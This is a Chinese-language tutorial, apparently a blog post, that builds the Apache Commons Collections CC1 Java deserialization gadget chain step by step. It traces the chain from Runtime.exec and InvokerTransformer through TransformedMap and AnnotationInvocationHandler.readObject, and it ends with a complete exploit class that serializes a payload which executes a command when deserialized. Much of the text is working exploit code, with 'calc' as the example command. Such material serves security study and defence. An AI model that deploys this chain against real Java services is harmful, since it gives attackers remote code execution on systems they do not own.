一、梳理基本逻辑
WEB后端JVM通过readObject()的反序列化方式接收用户输入的数据
用户编写恶意代码并将其序列化为原始数据流
WEB后端JVM接收到序列化后恶意的原始数据并进行反序列化
当调用:
ObjectInputStream.readObject()
JVM 内部逻辑:
→ 反序列化 AnnotationInvocationHandler.class
→ 检查到类里定义了 private void readObject(ObjectInputStream)
→ 自动调用 readObject()
于是我们通过这个入口将整条链都执行了,最后执行命令
二、CC1的基本形态构建
2.1、Runtime.getRuntime().exec()
Java执行系统命令的方式
正常写法:
Runtime.getRuntime().exec("calc");
反射写法:
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
2.2、InvokeTransformer.transform()
重写了Transformer接口的transform方法,能执行命令
在InvokeTransformer()中传入待执行的方法名(exec)、类的类型(String.class)和具体命令(calc)
在InvokeTransformer的transform()中传入要执行方法的对象(r)
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
其作用等价于
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");
也等价于
Runtime.getRuntime().exec("calc");
2.3、TransformedMap.checkSetValue()
会调用transform -> 需要通过TransformedMap.decorate()间接调用
可以看到图3调用了transform()方法;
并且由图1知道该类是对Map进行处理的类,为了达到我们想要的效果,我们得自己构造一个Hash Map;
而且可以看到图3最后是对valueTransformer进行操作的,所以我们可以把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法:
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
所以当TransformedMap处理我们的对象时,就会调用InvokeTransformer.transform()
也就是等价于:
protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}
2.4、MapEntry.setValue()
TransformedMap的抽象父类AbstractInputCheckedMapDecorator
中的MapEntry副类中的setValue()方法调用了checkSetValue()
HashMap在遍历的时候,一个键值对就叫Entry;
MapEntry的setValue()实际上就是重写的Entry的setValue();
所以当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;
进而调用setValue()中调用的checkSetValue():
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);for(Map.Entry entry:transformedMap.entrySet()){entry.setValue(r);
}
当transformedMap被遍历时,就会执行命令:
2.5、AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler重写了readObject()方法,执行AnnotationInvocationHandler.readObject()时会调用setValue()
因为这个类的构造方法不是public,所以我们要通过反射获取该类及其方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
三、整理内容
3.1、思路梳理(正向)
1、现在我们构建的这个对象,会在反序列化的时候自动触发AnnotationInvocationHandler中的readObject()方法,原理如下;
2、当执行该重写的readObject()方法时,会触发调用MapEntry.setValue(),因为AnnotationInvocationHandler.readObject()的内部机制:
当反序列化AnnotationInvocationHandler时会自动遍历我们传递的transformedMap,从而执行MapEntry的setValue()方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {memberValue.setValue(...); // ← 这里就触发了 transformedMap 的 checkSetValue()
}
3、当MapEntry.setValue()被执行时,会执行TransformedMap.checkSetValue(),因为:
TransformedMap.decorate()返回的Map包装了原始的entrySet(),当调用entry.setValue()时,其实是在调用TransformedMap.MapEntry.setValue(),而这个方法正好调用了checkSetValue()
当遍历我们构造的transformedMap对象时,就会走到MapEntry的setValue()方法;
进而调用setValue()中调用的checkSetValue():
4、当TransformedMap.checkSetValue()被调用时,会调用InvokeTransformer.transform(),因为:
我们把InvokeTransformer对象当做valueTransformer传递给TransformedMap的decorate()方法
而decorate()方法就会间接调用checkSetValue(),然后间接调用InvokeTransformer.transform(),相当于
protected Object checkSetValue(Object value) {return InvokeTransformer.transform(value);
}
5、当InvokeTransformer.transform()被调用,就基于我们实例化的Runtime对象r进行命令执行
3.2、EXP雏形
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class CC1 {public static void main(String[] args) throws Exception{
// Runtime.getRuntime().exec("calc");Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> map = new HashMap<>();map.put("key","value");Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandlerConstructor.setAccessible(true);Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}
四、问题处理
4.1、Runtime不能被序列化
我们跟进到Runtime里看一下,发现它没有serializable接口,不能被序列化:
但是我们可以运用反射来获取它的原型类,它的原型类class是存在serializable接口,可以序列化
那么我们怎么获取一个实例化对象呢,这里我们看到存在一个静态的getRuntime方法,这个方法会返回一个Runtime对象,相当于是一种单例模式:
用反射构建一个Runtime对象(能执行命令):
//获取类原型
Class c = Runtime.class;
//获取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);//获取实例化对象,因为该方法无无参方法,所以全为null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//获取exec方法
Method execMehod = c.getMethod("exec", String.class);
//实现命令执行
execMehod.invoke(r,"calc");
因为我们最后执行是依靠InvokeTransformer.transform(),所以要将上述代码进行变形,使其用InvokeTransformer.transform()的形式呈现(能执行命令):
参考InvokeTransformer.transform()执行对象方法的原理
\\InvokeTransformer(方法).transform(对象)\\
//获取类原型
Class c = Runtime.class;
//模拟获取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模拟获取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模拟获取exec方法,并进行命令执行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法:
Transformer[] transformers = new Transformer[]{new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
4.2、AnnotationInvocationHandler类下的readObject方法的条件判断
这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称
而我们发现另一个注解@Target中有个名为value的成员变量,所以我们就可以使用这个注解,
并改第一个键值对的值为value:
4.3、AnnotationTypeMismatchExceptionProxy不能转换为Runtime.class
把上述问题解决后我们再观察,因为AnnotationInvocationHandler.readObject()是入口,当反序列化触发readObject()时,该方法默认创建了一个对象AnnotationTypeMismatchExceptionProxy:
可以发现,链条虽然被触发了,不过AnnotationTypeMismatchExceptionProxy这个对象最后传到ChainedTransformer类中是不能执行方法的,我们想要的是获取Runtime.class对象:
protected Object checkSetValue(Object value) {return ChainedTransformer.transform(Runtime.class);
}
而不是:
protected Object checkSetValue(Object value) {return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}
所以我们需要把AnnotationTypeMismatchExceptionProxy改为Runtime.class
ConstantTransformer:我们传入什么值,就会返回什么值
这个类就能把AnnotationTypeMismatchExceptionProxy改为Runtime.class
在到达最后一步InvokeTransformer.transform()对某个对象执行其命令之前,将Runtime.class作为对象输出给它
至此,CC1链的问题就全部解决了。
五、最终EXP
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class ZCC1_final {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();map.put("value","value");Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);annotation.setAccessible(true);Object o = annotation.newInstance(Target.class,transformed);serialize(o);unserialize("ser.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}}